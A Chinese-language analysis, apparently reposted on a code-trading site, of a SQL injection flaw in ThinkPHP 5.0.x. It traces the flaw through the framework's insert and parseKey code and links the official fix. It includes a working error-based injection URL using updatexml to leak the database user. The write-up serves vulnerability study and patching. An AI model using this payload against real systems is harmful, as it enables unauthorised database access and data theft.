线下交易没保障,很多用户被骗,支持【值得要交易平台】正规网站担保交易
【线下交易被骗无法处理】

源码交易网

ThinkPHP框架 5.0.x sql注入漏洞分析

  • 时间:2018-10-29 21:20 编辑: 来源: 阅读:180
  • 扫一扫,手机访问
摘要:前言漏洞复现搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和usernamethinkphp官网下载5.0.15版本: http://www.thinkphp.cn/down/1125.html 。修改数据库配置信息 application/database.p

前言

漏洞复现

搭建好数据库,以我自己的配置为例。数据库为tptest,表名为user,其中有两个字段id和username

thinkphp官网下载5.0.15版本: http://www.thinkphp.cn/down/1125.html 。修改数据库配置信息 application/database.php。在 application/config.php 中打开调试和trace,app_debugapp_trace均为true。在 application/index/controller/Index.php 中Index类中添加方法:

public  function testsql()
    {
        $username = input('get.username/a');
        db('user')->where(['id'=> 1])->insert(['username'=>$username]);
    }

访问:

http://127.0.0.1/index.php/index/index/testsql?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

漏洞分析

通过input获取到参数后,username变量情况如下:

跟入insert,thinkphp/library/think/db/Query.php:2078

<?php
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
    // 分析查询表达式
    $options = $this->parseExpress();
    $data    = array_merge($options['data'], $data);
    ...

接下去执行:

<?php
$sql = $this->builder->insert($data, $options, $replace);

跟入 thinkphp/library/think/db/Builder.php:720:

<?php
  public function insert(array $data, $options = [], $replace = false)
    {
        // 分析并处理数据
        $data = $this->parseData($data, $options);
        if (empty($data)) {
            return 0;
        }
        ...

跟入parseData至 thinkphp/library/think/db/Builder.php:101 ,相关变量信息已经注释添加。

<?php
protected function parseData($data, $options)
{
    ...
    // 注
    foreach ($data as $key => $val) { // 第 101 行左右
    //  $key : "username"
    //  $val : {"inc","updatexml(1,concat(0x7,user(),0x7e),1)","1"}
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            ....
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            ...
        } elseif (is_null($val)) {
            ...
        } elseif (is_array($val) && !empty($val)) {
            // $val[0] = "inc"
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        }
     ...
    }
    return $result;

可以看出$val是数组,且根据$val[0]值为inc,会通过switch语句进入到下面这条:

<?php
    case 'inc':
        // $val[1] = "updatexml(1,concat(0x7,user(),0x7e),1)"
        // $val[2] = "1"
        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
        break;

跟入此处的parseKey,即thinkphp/library/think/db/builder/Mysql.php:90

<?php
    protected function parseKey($key, $options = [])
    {
        $key = trim($key);
        if (strpos($key, '$.') && false === strpos($key, '(')) {
            // JSON字段支持
            list($field, $name) = explode('$.', $key);
            $key                = 'json_extract(' . $field . ', '$.' . $name . '')';
        } elseif (strpos($key, '.') && !preg_match('/[,'"()`s]/', $key)) {
            list($table, $key) = explode('.', $key, 2);
            if ('__TABLE__' == $table) {
                $table = $this->query->getTable();
            }
            if (isset($options['alias'][$table])) {
                $table = $options['alias'][$table];
            }
        }
        if (!preg_match('/[,'"*()`.s]/', $key)) {
            $key = '`' . $key . '`';
        }
        if (isset($table)) {
            if (strpos($table, '.')) {
                $table = str_replace('.', '`.`', $table);
            }
            $key = '`' . $table . '`.' . $key;
        }
        return $key; // $key : "updatexml(1,concat(0x7,user(),0x7e),1)"
    }

此处并未对传入的$key进行更多的过滤与检查,最后返回的仍然是1 and (updatexml(1,concat(0x7,user(),0x7e),1))

回到parseDatafloatval($val[2])返回1,这也正是我们要传入username[2]=1的原因。将其与前面经过parseKey的结果进行拼接后返回给result

回到 thinkphp/library/think/db/Query.ph 的 insert 中:

sql注入成功。

漏洞修复

官方commit: https://github.com/top-think/framework/commit/363fd4d90312f2cfa427535b7ea01a097ca8db1b

在进行decinc操作之前对$val[1]的值进行了再次确认。


  • 全部评论(0)
上一篇:已是第一篇内容
下一篇:Thinkphp3.2.3最新版update注入漏洞
最新发布的资讯信息
【站长教程|thinkphp教程】ThinkPHP框架 5.0.x sql注入漏洞分析(2018-10-29 21:20)
【站长教程|thinkphp教程】Thinkphp3.2.3最新版update注入漏洞(2018-10-29 21:14)
【各大VIP论坛资源|青龙建站教程自学网,屌丝建站视频】[网页设计] Fireworks CS4 视频教程(2018-10-29 21:13)
【站长教程|】[网页设计] 闪魂:Flash CS4完善 进 门与案例精解全套视频下载(2018-10-29 21:11)
【站长教程|】nginx服务器防sql注入与溢出(2018-10-17 20:53)
【站长教程|thinkphp教程】TP框架如何开启log日志,日志级别代表什么含义(2018-09-20 12:53)
【杂谈合集|其他杂谈】QQ79747030 是骗子 卖备案域名的 结果转的不是备案域名骗子(2018-01-22 00:36)
【站长教程|其他教程】哈哈日语 日语五十音(2017-10-28 17:24)
【站长教程|源码教程合集】外卖人手机访问跳转到WAP教程(2017-10-05 01:40)
【站长教程|源码教程合集】外卖人单城市 外卖人8.4绿色完整版+3款APP文件包!(2017-10-05 01:37)
底部广告
网站首页 | 关于我们 | 广告合作 | 联系我们 | 隐私条款 | 免责声明
CopyRight 2014-2024 源码交易网 | 闽ICP备12011718号-2
展开